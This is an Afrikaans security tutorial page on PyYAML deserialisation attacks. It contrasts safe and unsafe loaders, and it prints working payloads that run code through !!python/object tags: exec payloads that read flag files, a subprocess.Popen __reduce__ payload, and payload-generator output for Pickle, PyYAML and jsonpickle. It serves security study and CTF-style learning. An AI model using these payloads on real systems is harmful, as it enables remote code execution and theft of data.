# Python Yaml Deserialisering

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## Yaml **Deserialisering**

**Yaml** python biblioteke is ook in staat om **python voorwerpe** te **serialiseer** en nie net rou data nie:
```
print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
Kontroleer hoe die **tuple** nie 'n rou tipe data is nie en daarom is dit **geserialiseer**. En dieselfde het met die **range** gebeur (geneem uit die builtins).

![](<../../images/image (1040).png>)

**safe_load()** of **safe_load_all()** gebruik SafeLoader en **ondersteun nie klas objek deserialisering nie**. Klas objek deserialisering voorbeeld:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
Die vorige kode het **unsafe_load** gebruik om die geserialiseerde python klas te laai. Dit is omdat in **weergawe >= 5.1**, dit nie toelaat om **enige geserialiseerde python klas of klasattribuut** te **deserialiseer** nie, met Loader wat nie gespesifiseer is in load() of Loader=SafeLoader.

### Basiese Exploit

Voorbeeld van hoe om 'n **slaap** te **uitvoer**:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### Kwetsbare .load("\<content>") sonder Loader

**Ou weergawes** van pyyaml was kwesbaar vir deserialisasie-aanvalle as jy **nie die Loader gespesifiseer het** wanneer jy iets laai nie: `yaml.load(data)`

Jy kan die [**beskrywing van die kwesbaarheid hier vind**](https://hackmd.io/@defund/HJZajCVlP)**.** Die voorgestelde **ontploffing** op daardie bladsy is:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Of jy kan ook hierdie **een-liner verskaf deur @ishaack** gebruik:
```yaml
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec  } },
],
}
```
Let wel dat jy in **onlangs weergawes** nie meer **`.load()`** **sonder 'n `Loader`** kan **aanroep nie** en die **`FullLoader`** is **nie meer kwesbaar** vir hierdie aanval nie.

## RCE

Pasgemaakte payloads kan geskep word met behulp van Python YAML modules soos **PyYAML** of **ruamel.yaml**. Hierdie payloads kan kwesbaarhede in stelsels benut wat onbetroubare invoer deserialiseer sonder behoorlike sanitasie.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### Gereedskap om Payloads te skep

Die gereedskap [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) kan gebruik word om python deserialisering payloads te genereer om **Pickle, PyYAML, jsonpickle en ruamel.yaml** te misbruik:
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
### Verwysings

- [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)

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